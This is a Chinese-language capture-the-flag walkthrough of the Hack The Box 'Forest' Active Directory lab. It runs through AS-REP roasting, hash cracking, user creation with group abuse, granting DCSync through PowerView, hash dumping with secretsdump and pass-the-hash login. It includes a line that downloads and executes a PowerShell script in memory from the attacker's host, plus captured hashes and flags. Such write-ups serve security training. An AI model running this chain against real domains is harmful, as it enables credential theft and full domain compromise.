HTB-oscplike-Forest

HTB-oscplike-Forest

easy难度的forest 靶机IP 10.10.10.161

sudo nmap -sC -sV -A -p- --min-rate=5000 -Pn 10.10.10.161
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-09 10:45:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

咋恁多啊 这里可以看到是个域环境 域渗透属实不太熟
一个个来 首先53的dns dig axfr @10.10.10.161 htb.local 没法zone transfer
smb也没什么东西 往下看到这个5985端口我就顿悟了 必然是通过winrm打进去

那么很明显 我们需要的就是找到一个用户
enum4linux 10.10.10.161 看到几个有用的用户
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[john] rid:[0x2581]
user:[yowell] rid:[0x2583]
user:[test123] rid:[0x2584]

把用户名拿去爆破 枚举不需要Kerberos预身份验证的用户
impacket-GetNPUsers htb.local/ -usersfile temp.txt -dc-ip 10.10.10.161
得到svc-alfresco用户以及hash

$krb5asrep$23$svc-alfresco@HTB.LOCAL:5efea66ebcf4b4b5f73aa0fecd46b2ec$d1eb4cc0eb7c36ca35c35048e6d348341ac3d685feb147b589d01bb52f69b3d48df2c6cec38d578504fe683424f4b56667ffc05e54a57c61460ea8238b896d3b78269b337b879eae3a5dc3616a171a1c931de563aa425c519b5df5c7b0349ae87a8dea9c69e91f446f85607aba99463bbdef90bba22ed96a807ba8a4d2c514a5eefce39e3d63926e04066dff6e21dbc3f05194679d2b7b53da59905460dc2295ee182ba1f502dfe63e40c3d00b30cd1feeb908110c020d225d9524c4f7152019ec80677baf0f2d210c3f8e44b729453488679f08b8f77f548ed225103760f5505f50f6eb42b5

随便john或者hashcat解一下 这里hashcat -m是18200 得到密码s3rvice
直接evil-winrm连上去

既然进了域 那必然是bloodhound
sudo neo4j start 再打开bloodhound 这里evil-winrm可以直接upload SharpHound.exe
执行之后把那个数据库文件download下来 在bloodhound里分析可以看到

可以看到我们隶属于account operator 是可以添加用户的
而Exchange Windows peimission可以用writedacl进行移动
那很明显我们就是要先利用account operator添加用户到Exchange Windows peimission组
然后利用writedacl给这个用户添加DCSync权限 欺骗域控从而获取全部的哈希

net user oreo oreoreo /add /domain
net group ‘Exchange Windows Permissions’ /add oreo
这里我本来想以oreo为凭据弹shell的 但是发现没权限 所以可以直接加到winrm的组里
net localgroup ‘Remote Management Users’ /add oreo
再evil-winrm登上去

首先要传一个powerview上去 直接参照bloodhound给的操作是不行的
The term ‘Add-DomainObjectAcl’ is not recognized as the name of a cmdlet

然后这里可以直接参照bloodhound给出的操作
也可以直接在powerview后面直接追加
Add-DomainObjectAcl -TargetIdentity “DC=htb,DC=local” -PrincipalIdentity oreo -Rights DCSync
因为我已经连上oreo了 就不用搞什么凭据之类的了
直接内存执行 iex(new-object system.net.webclient).downloadstring(‘http://10.10.14.21:789/powerview.ps1’)

然后kali直接secretsdump
impacket-secretsdump -dc-ip 10.10.10.161 htb/oreo:oreoreo@10.10.10.161 看到

htb.loca\Administrator:500:aad3b435b51404eeaad3b435b51404ee:
32693b11e6aa90eb43d32c72a07ceea6:::

然后psexec或者evil-winrm随便什么连上去就行了
evil-winrm -u administrator -p aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 -i 10.10.10.161 连上去拿到flag

ffa579c1d7b31fbf780f9b97eba24eb0
22757d64b29ea55dc8c94a0002593637
这台怎么可能是easy呢 这估计是做到现在最难的一台了